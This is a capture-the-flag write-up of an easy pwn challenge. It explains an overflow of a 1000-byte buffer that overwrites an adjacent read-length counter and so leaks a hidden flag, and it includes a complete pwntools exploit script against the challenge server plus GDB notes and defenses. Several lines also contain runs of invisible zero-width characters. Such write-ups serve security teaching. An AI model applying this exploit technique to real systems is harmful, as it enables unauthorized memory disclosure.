← Back to Writeups
CUSTOMEasypwn

Настроение (Mood)

XESXOR9/2/20263 min read
#pwn#custom#easy#buffer-overflow-to-overwrite-a#memory-layout-analysis#read-limit-manipulation-via-co#linux

Настроение (Mood)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Buffer overflow to overwrite adjacent variable, Memory layout analysis, Read limit manipulation via count_c overwrite

Summary

Task: Menu-driven binary with buffer overflow where user buffer is smaller than read limit. Solution: Overflow buffer to overwrite adjacent count_c variable, then read extended memory to reveal the real flag hidden after the decoy.

Настроение (Mood) — hackerlab.pro

Description

Как улучшить настроение? Решить таск! :)

Server: 62.173.140.174:27000
Points: 300
Difficulty: easy

Binary Analysis

Basic Information

$ file mood
mood: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, not stripped

Memory Data Structure

Analysis of the binary in Ghidra/IDA reveals the following data structure:

Address (offset)VariableSizeDescription
0x4020text0x458 (1112 bytes)Text with fake flag
0x4500text_usr0x3e8 (1000 bytes)User buffer
0x48e8count_c2 bytesCharacter counter
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Important: count_c is initialized with value 0x400 (1024).

Fake Flag

The text section contains a decoy flag: C0DEBY{0to_Ne_fl@g}

The real flag is located further in memory, beyond the first 1024 bytes.

Application Menu

1. Show my text    - outputs count_c characters from text
2. Enter your text - reads count_c characters into text_usr
3. Show your text  - outputs count_c characters from text_usr
4. Exit

Vulnerability

Buffer Overflow in enter_your_text

The enter_your_text function contains a classic buffer overflow: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
void enter_your_text() {
    for (int i = 0; i < count_c; i++) {
        char c = getchar();
        if (c == 0x01) break;  // Ctrl+A to exit
        text_usr[i] = c;
    }
}

Problem:

  • The loop reads count_c characters (1024)
  • The text_usr buffer is only 1000 bytes
  • The count_c variable is located right after text_usr (offset 1000)

Memory Layout

text_usr[0]    @ 0x4500
text_usr[999]  @ 0x48E7
count_c        @ 0x48E8  <-- can be overwritten!

When writing 1001+ bytes, we overwrite count_c. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

Strategy

  1. Select option 2 (Enter your text)
  2. Send 1000 bytes padding + new count_c value + Ctrl+A
  3. Select option 1 (Show my text)
  4. Now more characters are output, including the real flag

Exploit

python
#!/usr/bin/env python3
from pwn import *

# Connect to server
r = remote('62.173.140.174', 27000)

# Wait for menu
r.recvuntil(b'choice:')

# Select option 2 - Enter your text
r.sendline(b'2')
r.recvuntil(b'text:')

# Build payload:
# - 1000 bytes padding (fill text_usr)
# - 2 bytes for count_c = 0x0800 (2048)
# - 0x01 (Ctrl+A) to exit the input loop
payload = b'A' * 1000 + p16(0x0800) + b'\x01' + b'\n'
r.send(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Wait for menu
r.recvuntil(b'choice:')

# Select option 1 - Show my text
r.sendline(b'1')

# Receive extended output (now 2048 characters instead of 1024)
data = r.recvall(timeout=5)

# Print result
print(data.decode('utf-8', errors='ignore'))

Execution

bash
$ python3 exploit.py
[+] Opening connection to 62.173.140.174 on port 27000: Done
[+] Receiving all data: Done
...
C0DEBY{0to_Ne_fl@g}
...
CODEBY{REDACTED}
...

Defense

To prevent such vulnerabilities:

  1. Bounds checking: Always verify that the index doesn't exceed array bounds
  2. Stack canaries: Use stack protection
  3. Data separation: Don't place control variables next to buffers
  4. Constant limits: Use const for buffer sizes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative Approaches

Via GDB

bash
$ gdb ./mood
(gdb) break *enter_your_text
(gdb) run
# Analyze text_usr and count_c addresses
(gdb) x/x &text_usr
(gdb) x/x &count_c

Via pwntools with Local Binary

python
from pwn import *

elf = ELF('./mood')
text_usr_addr = elf.symbols['text_usr']
count_c_addr = elf.symbols['count_c']
offset = count_c_addr - text_usr_addr
print(f"Offset to count_c: {offset}")  # 1000

References

  • Buffer Overflow - OWASP
  • pwntools documentation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍